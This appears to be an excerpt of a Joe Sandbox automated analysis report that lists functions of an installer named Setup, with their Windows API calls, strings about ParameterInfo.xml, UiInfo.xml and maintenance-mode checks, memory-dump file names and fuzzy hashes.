PathFileExistsW.SHLWAPI(00000001,?), ref: 6C8F57C3

Strings

pLocalPath is NULL!!!!!!, xrefs: 6C8F585B
Package authoring error. The Url for this item is not authored and the item does not exist locally: , xrefs: 6C8F57FB

Memory Dump Source

Source File: 00000004.00000002.2636528822.000000006C8A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000004.00000002.2636411576.000000006C8A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2636855498.000000006C94E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2636987218.000000006C94F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2637111199.000000006C957000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2637251369.000000006C95A000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c8a0000_Setup.jbxd

Similarity

API ID: Path$ExistsFileH_prolog3Relative
String ID: Package authoring error. The Url for this item is not authored and the item does not exist locally: $pLocalPath is NULL!!!!!!
API String ID: 1035510722-3253188715
Opcode ID: 54a3ab422431ec9095eb1291f8df9957a00dabea0d2535d2b5ab3dbe43e5adfc
Instruction ID: 2a13ca554196a5d0b584eb58e83603647d90c4d82ead733105fa28d1d701ee8a
Opcode Fuzzy Hash: 54a3ab422431ec9095eb1291f8df9957a00dabea0d2535d2b5ab3dbe43e5adfc
Instruction Fuzzy Hash: 90510A7190020DDFCF20DFA8C9419EE7BB8AF15358F158965E420EBB51C734DA19CBA2

Function 6C8D56A3 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 107COMMON

Download Yara Rule

APIs

Part of subcall function 6C8F833E: __EH_prolog3.LIBCMT ref: 6C8F8345

Part of subcall function 6C90988C: __EH_prolog3.LIBCMT ref: 6C909893
Part of subcall function 6C90988C: GetCommandLineW.KERNEL32(0000002C,6C90D52A,00000001,?,UiInfo.xml,?,?,00000000,?), ref: 6C9098B4
Part of subcall function 6C90988C: PathIsRelativeW.SHLWAPI(?,?,?,00000000,?,UiInfo.xml,?,?,00000000,?), ref: 6C90996E

Part of subcall function 6C8CA8CC: __EH_prolog3.LIBCMT ref: 6C8CA8D3
Part of subcall function 6C8CA8CC: PathIsRelativeW.SHLWAPI(00000000,00000000,?,?,?,?,?,00000001,?,UiInfo.xml,?,?,00000000,?), ref: 6C8CA90B
Part of subcall function 6C8CA8CC: GetModuleFileNameW.KERNEL32(00000010,00000104,?,?,?,?,00000001,?,UiInfo.xml,?,?,00000000,?), ref: 6C8CA964
Part of subcall function 6C8CA8CC: __CxxThrowException@8.LIBCMT ref: 6C8CAA28

Part of subcall function 6C8D57E5: __EH_prolog3.LIBCMT ref: 6C8D57EC

Part of subcall function 6C918EAB: _memcpy_s.LIBCMT ref: 6C918EFC

Part of subcall function 6C8CA8CC: SetFilePointer.KERNEL32(?,00000000,6C8BA794,00000001,?,00000000,00000000,00000002,?,80000000,00000001,00000003,00000080,00000000,00000000,?), ref: 6C8CAA49
Part of subcall function 6C8CA8CC: ReadFile.KERNEL32(?,?,?,?,00000000,?,?,?,?,00000001,?,UiInfo.xml,?,?,00000000,?), ref: 6C8CAA97
Part of subcall function 6C8CA8CC: SysAllocStringLen.OLEAUT32(00000000,?), ref: 6C8CAAAC

SysFreeString.OLEAUT32(?), ref: 6C8D578A
SysFreeString.OLEAUT32(?), ref: 6C8D5799
SysFreeString.OLEAUT32(?), ref: 6C8D57C7

Strings

UiInfo.xml, xrefs: 6C8D573F
ParameterInfo.xml, xrefs: 6C8D56DB

Memory Dump Source

Source File: 00000004.00000002.2636528822.000000006C8A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000004.00000002.2636411576.000000006C8A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2636855498.000000006C94E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2636987218.000000006C94F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2637111199.000000006C957000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2637251369.000000006C95A000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c8a0000_Setup.jbxd

Similarity

API ID: H_prolog3String$FileFree$PathRelative$AllocCommandException@8LineModuleNamePointerReadThrow_memcpy_s
String ID: ParameterInfo.xml$UiInfo.xml
API String ID: 3873923459-386449131
Opcode ID: 4d881244b8733a975ee381aaf1af8dcc92c88472666a28caf07b0ff43028c172
Instruction ID: 08d10b0593ba9c94f26f50045469761b73b1a0c896ada88c913cf72c019d42b8
Opcode Fuzzy Hash: 4d881244b8733a975ee381aaf1af8dcc92c88472666a28caf07b0ff43028c172
Instruction Fuzzy Hash: 9B31BFB2508345AFCB10DF68C941A8BBBE8FFA5628F140E1EF490D7750D734E5088BA2

Function 6C90972F Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 107COMMON

Download Yara Rule

APIs

Part of subcall function 6C8D5044: __EH_prolog3.LIBCMT ref: 6C8D504B

Part of subcall function 6C8C39AD: __EH_prolog3.LIBCMT ref: 6C8C39B4

Part of subcall function 6C8CA8CC: __EH_prolog3.LIBCMT ref: 6C8CA8D3
Part of subcall function 6C8CA8CC: PathIsRelativeW.SHLWAPI(00000000,00000000,?,?,?,?,?,00000001,?,UiInfo.xml,?,?,00000000,?), ref: 6C8CA90B
Part of subcall function 6C8CA8CC: GetModuleFileNameW.KERNEL32(00000010,00000104,?,?,?,?,00000001,?,UiInfo.xml,?,?,00000000,?), ref: 6C8CA964
Part of subcall function 6C8CA8CC: __CxxThrowException@8.LIBCMT ref: 6C8CAA28

GetCommandLineW.KERNEL32(?,?,?,?,38D98A99,?,?,?,?,ParameterInfo.xml,?,?,00000738,6C8FFA6E,?,6C8BA794), ref: 6C9097B2

Part of subcall function 6C8C3E77: __EH_prolog3.LIBCMT ref: 6C8C3E7E

SysFreeString.OLEAUT32(?), ref: 6C90985E

Part of subcall function 6C8D4798: __EH_prolog3.LIBCMT ref: 6C8D479F

Part of subcall function 6C8D50D5: __EH_prolog3_catch.LIBCMT ref: 6C8D50DC
Part of subcall function 6C8D50D5: CoInitialize.OLE32(00000000), ref: 6C8D512A
Part of subcall function 6C8D50D5: CoCreateInstance.OLE32(6C8BA974,00000000,00000017,6C8BA9A4,00000738,?,?,?,00000000,?,?,?,38D98A99,?,?,?), ref: 6C8D5148
Part of subcall function 6C8D50D5: CoUninitialize.COMBASE(02F92298,?,succeeded,?,?,?,00000000,?,?,?,38D98A99,?,?,?), ref: 6C8D51E6

SysFreeString.OLEAUT32(?), ref: 6C909818
SysFreeString.OLEAUT32(?), ref: 6C909833

Strings

Loading localized engine data for language %d from %s, xrefs: 6C90977B

Memory Dump Source

Source File: 00000004.00000002.2636528822.000000006C8A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000004.00000002.2636411576.000000006C8A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2636855498.000000006C94E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2636987218.000000006C94F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2637111199.000000006C957000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2637251369.000000006C95A000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c8a0000_Setup.jbxd

Similarity

API ID: H_prolog3$FreeString$CommandCreateException@8FileH_prolog3_catchInitializeInstanceLineModuleNamePathRelativeThrowUninitialize
String ID: Loading localized engine data for language %d from %s
API String ID: 509998568-3315213612
Opcode ID: 9ec0c4df1929ee05067cccb004f3686f66932ec7f1dd8e316a135762a2df2b54
Instruction ID: 96d4f579bdb4028b56e563730d29410e35c0b09e9ac8c51adc3cda5db25dd069
Opcode Fuzzy Hash: 9ec0c4df1929ee05067cccb004f3686f66932ec7f1dd8e316a135762a2df2b54
Instruction Fuzzy Hash: 17416272108344AFC711DF68C845A9BBBE8AF95328F004E2EF49592690DB34D908CB96

Function 6C8D19AD Relevance: 8.9, APIs: 2, Strings: 3, Instructions: 103COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 6C8D19B4

Part of subcall function 6C8C8B9F: __EH_prolog3.LIBCMT ref: 6C8C8BA6

__CxxThrowException@8.LIBCMT ref: 6C8D1ADE

Strings

ParameterInfo.xml, xrefs: 6C8D1902, 6C8D1A2F
can only have one logical or arithmietic expression for a child node, xrefs: 6C8D1A54
schema validation failure: , xrefs: 6C8D1A40

Memory Dump Source

Source File: 00000004.00000002.2636528822.000000006C8A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000004.00000002.2636411576.000000006C8A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2636855498.000000006C94E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2636987218.000000006C94F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2637111199.000000006C957000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2637251369.000000006C95A000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c8a0000_Setup.jbxd

Similarity

API ID: H_prolog3$Exception@8Throw
String ID: can only have one logical or arithmietic expression for a child node$ParameterInfo.xml$schema validation failure:
API String ID: 2489616738-4045823434
Opcode ID: ba6cd557cf737cb7ca4a42082eafacbdd2ddbd3bab32aa017f1b91e6c27fca2d
Instruction ID: 1d33d71618b5ff6008db72eba58c3f5f38ff7c69ae148f5860afc60a73014e7e
Opcode Fuzzy Hash: ba6cd557cf737cb7ca4a42082eafacbdd2ddbd3bab32aa017f1b91e6c27fca2d
Instruction Fuzzy Hash: 36414F71511109AFCB10DFA8CA45BEEB7B9BF15328F148559E424DB780CB34EA09DB61

Function 6C8D1C2E Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 69COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 6C8D1C35

Part of subcall function 6C8F833E: __EH_prolog3.LIBCMT ref: 6C8F8345

Part of subcall function 6C8D19AD: __EH_prolog3.LIBCMT ref: 6C8D19B4
Part of subcall function 6C8D19AD: __CxxThrowException@8.LIBCMT ref: 6C8D1ADE

Part of subcall function 6C8C8AAC: __EH_prolog3.LIBCMT ref: 6C8C8AB3
Part of subcall function 6C8C8AAC: __CxxThrowException@8.LIBCMT ref: 6C8C8B39

Part of subcall function 6C8C92D1: __EH_prolog3.LIBCMT ref: 6C8C92D8

Part of subcall function 6C8C838A: __EH_prolog3.LIBCMT ref: 6C8C8391

Part of subcall function 6C8CA378: __EH_prolog3.LIBCMT ref: 6C8CA37F

__CxxThrowException@8.LIBCMT ref: 6C8D1D02

Part of subcall function 6C9214AA: KiUserExceptionDispatcher.NTDLL(?,?,6C91C129,00000C00,?,?,?,?,6C91C129,00000C00,6C93BA3C,6C9576D4,00000C00,00000020,6C8FF845,?), ref: 6C9214EC

Strings

IsPresent, xrefs: 6C8D1C3A, 6C8D1C3F, 6C8D1C79
ParameterInfo.xml, xrefs: 6C8D1CAE
schema validation failure: IsPresent can only be authored once., xrefs: 6C8D1CA0

Memory Dump Source

Source File: 00000004.00000002.2636528822.000000006C8A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000004.00000002.2636411576.000000006C8A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2636855498.000000006C94E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2636987218.000000006C94F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2637111199.000000006C957000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2637251369.000000006C95A000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c8a0000_Setup.jbxd

Similarity

API ID: H_prolog3$Exception@8Throw$DispatcherExceptionUser
String ID: IsPresent$ParameterInfo.xml$schema validation failure: IsPresent can only be authored once.
API String ID: 2724732616-4158871691
Opcode ID: 534316091a638a9a6951896532149dfda31369ede12ab3445dfcd0952967a9cb
Instruction ID: 3782823f842688b0363b3690a549ca50b23c344d418c2965aae6d5416e978013
Opcode Fuzzy Hash: 534316091a638a9a6951896532149dfda31369ede12ab3445dfcd0952967a9cb
Instruction Fuzzy Hash: 27219071810148BACF20DBE8CA45ADD7BB8AF25318F148959F064ABB80CB70DB0CD762

Function 6C90360F Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 67COMMON

Download Yara Rule

APIs

CheckTokenMembership.KERNELBASE(00000000,?,?), ref: 6C90365F
GetLastError.KERNEL32 ref: 6C903669

Part of subcall function 6C8C7479: __EH_prolog3.LIBCMT ref: 6C8C7480

GetLastError.KERNEL32 ref: 6C90368B

Strings

AllocateAndInitializeSid, xrefs: 6C903694
CheckTokenMembership, xrefs: 6C903672

Memory Dump Source

Source File: 00000004.00000002.2636528822.000000006C8A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000004.00000002.2636411576.000000006C8A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2636855498.000000006C94E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2636987218.000000006C94F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2637111199.000000006C957000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2637251369.000000006C95A000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c8a0000_Setup.jbxd

Similarity

API ID: ErrorLast$CheckH_prolog3MembershipToken
String ID: AllocateAndInitializeSid$CheckTokenMembership
API String ID: 3752544998-2579124284
Opcode ID: 12e7d204a92d3ac98518b3aa9e32192d54634959fdd86adf70f53ca6f92c8e65
Instruction ID: b9baa6b2c15c4fd937833e382ca8a29ef78d7020b34dce6ec85bbf953cd71acc
Opcode Fuzzy Hash: 12e7d204a92d3ac98518b3aa9e32192d54634959fdd86adf70f53ca6f92c8e65
Instruction Fuzzy Hash: DD117C75B00219AFCB14DFA9C98AC6EBBB9FF48314B11492DE456A3740DB70E900CB51

Function 6C8D58F5 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 62COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 6C8D58FC

Part of subcall function 6C8F833E: __EH_prolog3.LIBCMT ref: 6C8F8345

Part of subcall function 6C8CA8CC: __EH_prolog3.LIBCMT ref: 6C8CA8D3
Part of subcall function 6C8CA8CC: PathIsRelativeW.SHLWAPI(00000000,00000000,?,?,?,?,?,00000001,?,UiInfo.xml,?,?,00000000,?), ref: 6C8CA90B
Part of subcall function 6C8CA8CC: GetModuleFileNameW.KERNEL32(00000010,00000104,?,?,?,?,00000001,?,UiInfo.xml,?,?,00000000,?), ref: 6C8CA964
Part of subcall function 6C8CA8CC: __CxxThrowException@8.LIBCMT ref: 6C8CAA28

StrPBrkW.SHLWAPI(00000000,) <>",#(loc.,?,6C8FFA6E,6C8FFA6E,00000718,02F92298,?,00000000,00000010,6C8D6171,00000000,00000748,?,ParameterInfo.xml), ref: 6C8D5972
SysFreeString.OLEAUT32(6C8FFA6E), ref: 6C8D59A3

Part of subcall function 6C918C9E: _memcpy_s.LIBCMT ref: 6C918CE4

Strings

#(loc., xrefs: 6C8D5952
) <>", xrefs: 6C8D5969

Memory Dump Source

Source File: 00000004.00000002.2636528822.000000006C8A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000004.00000002.2636411576.000000006C8A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2636855498.000000006C94E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2636987218.000000006C94F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2637111199.000000006C957000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2637251369.000000006C95A000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c8a0000_Setup.jbxd

Similarity

API ID: H_prolog3$Exception@8FileFreeModuleNamePathRelativeStringThrow_memcpy_s
String ID: #(loc.$) <>"
API String ID: 3035459583-3905424865
Opcode ID: a4634fa2c2f6fce09e2726277f01874e8473e2e0cde002193fbede187e7fdcab
Instruction ID: 0509977c84c85be2eee8b805757345a9fac3953944220659b2c845b1c196723e
Opcode Fuzzy Hash: a4634fa2c2f6fce09e2726277f01874e8473e2e0cde002193fbede187e7fdcab
Instruction Fuzzy Hash: 2B11A871D01229AFCF20DFE4CE445EEBB74AF11368B010D25E520A7B90D775E919DBA0

Function 6C8F586D Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 60synchronizationCOMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 6C8F5874
OpenMutexW.KERNEL32(00100000,00000000,00000030,?,Global\,00000000,6C90BDA7,?,00000000,?,?,?,?,?,Command-line option error: ,?), ref: 6C8F58FB
CreateMutexW.KERNEL32(00000000,00000000,00000030), ref: 6C8F590B
GetLastError.KERNEL32 ref: 6C8F5913

Part of subcall function 6C8F8CD5: __EH_prolog3.LIBCMT ref: 6C8F8CDC

Strings

Global\, xrefs: 6C8F58BE

Memory Dump Source

Source File: 00000004.00000002.2636528822.000000006C8A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000004.00000002.2636411576.000000006C8A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2636855498.000000006C94E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2636987218.000000006C94F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2637111199.000000006C957000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2637251369.000000006C95A000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c8a0000_Setup.jbxd

Similarity

API ID: H_prolog3Mutex$CreateErrorLastOpen
String ID: Global\
API String ID: 2685780869-188423391
Opcode ID: 21562673e5ad95e9376fa4a991a237847f5a7e1538b6e0c3149a856108da7a83
Instruction ID: 1a3f59ffe134b9052c05abcf518f4b29025710906f57b84e94be112941545efe
Opcode Fuzzy Hash: 21562673e5ad95e9376fa4a991a237847f5a7e1538b6e0c3149a856108da7a83
Instruction Fuzzy Hash: C021DF71600344DFDB21DF68C988B8A7BF1AF55368F2088A9E864CFB45CB74D915CBA1

Function 6C8E4A3F Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 47COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 6C8E4A46

Part of subcall function 6C8F833E: __EH_prolog3.LIBCMT ref: 6C8F8345

Strings

evaluating EnterMaintenanceModeIf, xrefs: 6C8E4A78
MaintenanceMode determination, xrefs: 6C8E4A62, 6C8E4A67, 6C8E4A85
evaluates to 'in maintenance mode', xrefs: 6C8E4AA1
evaluates to 'not in maintenance mode', xrefs: 6C8E4A4D

Memory Dump Source

Source File: 00000004.00000002.2636528822.000000006C8A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000004.00000002.2636411576.000000006C8A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2636855498.000000006C94E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2636987218.000000006C94F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2637111199.000000006C957000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2637251369.000000006C95A000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c8a0000_Setup.jbxd

Similarity

API ID: H_prolog3
String ID: evaluates to 'in maintenance mode'$ evaluates to 'not in maintenance mode'$MaintenanceMode determination$evaluating EnterMaintenanceModeIf
API String ID: 431132790-4185790000
Opcode ID: 7595f900d8db854d051c885738a156824684315f0001af4103d9d4084a563f28
Instruction ID: ccf655126a8b24c4c610226b83f42f61b9a1fc3b2ca7f83b34e9cf880cced698
Opcode Fuzzy Hash: 7595f900d8db854d051c885738a156824684315f0001af4103d9d4084a563f28
Instruction Fuzzy Hash: 4B11C231800119EFCF10DFE8C944BEDBBB4AF16308F14886AE550ABB51C775DA49D750

Function 6C90FF5C Relevance: 8.2, APIs: 2, Strings: 3, Instructions: 651COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?,38D98A99), ref: 6C90FF9B
LeaveCriticalSection.KERNEL32(?), ref: 6C910900

Part of subcall function 6C8C4CB2: __EH_prolog3.LIBCMT ref: 6C8C4CB9

Part of subcall function 6C8F833E: __EH_prolog3.LIBCMT ref: 6C8F8345

Part of subcall function 6C8F8CD5: __EH_prolog3.LIBCMT ref: 6C8F8CDC

Part of subcall function 6C8C391D: __EH_prolog3.LIBCMT ref: 6C8C3924

Part of subcall function 6C91C0AA: _malloc.LIBCMT ref: 6C91C0C4

Part of subcall function 6C8E24CD: __EH_prolog3.LIBCMT ref: 6C8E24D4
Part of subcall function 6C8E24CD: __CxxThrowException@8.LIBCMT ref: 6C8E255B

Part of subcall function 6C912306: __EH_prolog3.LIBCMT ref: 6C91230D

Part of subcall function 6C914C0C: __EH_prolog3.LIBCMT ref: 6C914C13

Part of subcall function 6C8FBC09: __EH_prolog3.LIBCMT ref: 6C8FBC10

Part of subcall function 6C914EE6: __EH_prolog3.LIBCMT ref: 6C914EED
Part of subcall function 6C914EE6: __recalloc.LIBCMT ref: 6C914EFB

Part of subcall function 6C914EE6: __recalloc.LIBCMT ref: 6C914F17

Strings

determination is complete, xrefs: 6C90FFBB
Applicability for , xrefs: 6C90FFD3
evaluating each item, xrefs: 6C90FFF3

Memory Dump Source

Source File: 00000004.00000002.2636528822.000000006C8A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000004.00000002.2636411576.000000006C8A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2636855498.000000006C94E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2636987218.000000006C94F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2637111199.000000006C957000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2637251369.000000006C95A000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c8a0000_Setup.jbxd

Similarity

API ID: H_prolog3$CriticalSection__recalloc$EnterException@8LeaveThrow_malloc
String ID: determination is complete$Applicability for $evaluating each item
API String ID: 283897231-3228949585
Opcode ID: 4b6dc5747f0341a35a4f3eb28a063dac5d390fa9eca3214ff59be06097730f0d
Instruction ID: 57d8699c01f1a8f05060a6c5b324e43d8aa7aafcbc242b5202779597ee49e1a0
Opcode Fuzzy Hash: 4b6dc5747f0341a35a4f3eb28a063dac5d390fa9eca3214ff59be06097730f0d
Instruction Fuzzy Hash: 7A5244715083859FC720CF28C581A9BBBE4BF98318F014D6EF5A897B51DB31E949CB62

Function 6C90A4AF Relevance: 7.7, APIs: 5, Instructions: 163COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 6C90A4B6
GetTokenInformation.KERNELBASE(?,00000001,00000000,00000000,?,?,?,6C90A210,?,00000000,?,?,6C8F4B23), ref: 6C90A523
GetTokenInformation.KERNELBASE(?,00000001,00000000,00000008,00000008,00000008,?,?,6C90A210,?,00000000,?,?,6C8F4B23), ref: 6C90A566
LookupAccountSidW.ADVAPI32(00000000,00000000,00000000,00000008,00000010,00000008,6C8F4614,00000008,00000104,?,?,6C90A210,?,00000000), ref: 6C90A59C

Part of subcall function 6C918AFC: _wcsnlen.LIBCMT ref: 6C918B0C

CloseHandle.KERNEL32(?,?,?,6C90A210,?,00000000,?,?,6C8F4B23), ref: 6C90A5CF

Memory Dump Source

Source File: 00000004.00000002.2636528822.000000006C8A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000004.00000002.2636411576.000000006C8A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2636855498.000000006C94E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2636987218.000000006C94F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2637111199.000000006C957000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2637251369.000000006C95A000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c8a0000_Setup.jbxd

Similarity

API ID: InformationToken$AccountCloseH_prolog3HandleLookup_wcsnlen
String ID:
API String ID: 1930416738-0
Opcode ID: 8cc77ec7cbff6255e616ab9999b676f2bb3dcf1aa67b9e70d11f8707edc441b6
Instruction ID: 494d4edf4ec1f872312e03b0082155f5f33fa75463cba061df3b676d47358ad1
Opcode Fuzzy Hash: 8cc77ec7cbff6255e616ab9999b676f2bb3dcf1aa67b9e70d11f8707edc441b6
Instruction Fuzzy Hash: 78618F729102099FDF11CFA8CC46AEE7BB5BF24328F154609F920A7790CB74DA15DBA4

Function 6C8F4880 Relevance: 7.6, APIs: 5, Instructions: 136threadCOMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 6C8F488A

Part of subcall function 6C8F31D3: __EH_prolog3_catch.LIBCMT ref: 6C8F31DA
Part of subcall function 6C8F31D3: _free.LIBCMT ref: 6C8F3269

GetCurrentThread.KERNEL32 ref: 6C8F495F
OpenThreadToken.ADVAPI32(00000000,00000008,00000001,?), ref: 6C8F4971
GetCurrentProcess.KERNEL32 ref: 6C8F497B
OpenProcessToken.ADVAPI32(00000000,00000008,?), ref: 6C8F498B

Memory Dump Source

Source File: 00000004.00000002.2636528822.000000006C8A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000004.00000002.2636411576.000000006C8A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2636855498.000000006C94E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2636987218.000000006C94F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2637111199.000000006C957000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2637251369.000000006C95A000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c8a0000_Setup.jbxd

Similarity

API ID: CurrentOpenProcessThreadToken$H_prolog3_H_prolog3_catch_free
String ID:
API String ID: 4058884840-0
Opcode ID: bfa994279814e2a1d774aaf6bfa2c051750c419787872cb299ba038ff999c067
Instruction ID: a3bea92ff5acfe33c0a5628fe6e6eaf5e54af2e563204642bd5e4889adfa3ff3
Opcode Fuzzy Hash: bfa994279814e2a1d774aaf6bfa2c051750c419787872cb299ba038ff999c067
Instruction Fuzzy Hash: 5F5117719002598BCB34DFA8CA95BDDB7B4BF14344F5048EA911AB7A40EB709F89CF61

Function 6C8D5CE1 Relevance: 7.6, APIs: 5, Instructions: 113comCOMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 6C8D5CE8

Part of subcall function 6C8CA8CC: __EH_prolog3.LIBCMT ref: 6C8CA8D3
Part of subcall function 6C8CA8CC: PathIsRelativeW.SHLWAPI(00000000,00000000,?,?,?,?,?,00000001,?,UiInfo.xml,?,?,00000000,?), ref: 6C8CA90B
Part of subcall function 6C8CA8CC: GetModuleFileNameW.KERNEL32(00000010,00000104,?,?,?,?,00000001,?,UiInfo.xml,?,?,00000000,?), ref: 6C8CA964
Part of subcall function 6C8CA8CC: __CxxThrowException@8.LIBCMT ref: 6C8CAA28

CoInitialize.OLE32(00000000), ref: 6C8D5D1A
CoCreateInstance.OLE32(6C8BA974,00000000,00000017,6C8BA9A4,?,?,?,00000014,6C8D5F14,?,?,?,?,38D98A99,ParameterInfo.xml,00000000), ref: 6C8D5D38
CoUninitialize.COMBASE(?,?,00000014,6C8D5F14,?,?,?,?,38D98A99,ParameterInfo.xml,00000000,?,ParameterInfo.xml,?,00000000,?), ref: 6C8D5DE8
SysFreeString.OLEAUT32(00000738), ref: 6C8D5DF1

Memory Dump Source

Source File: 00000004.00000002.2636528822.000000006C8A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000004.00000002.2636411576.000000006C8A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2636855498.000000006C94E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2636987218.000000006C94F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2637111199.000000006C957000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2637251369.000000006C95A000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin
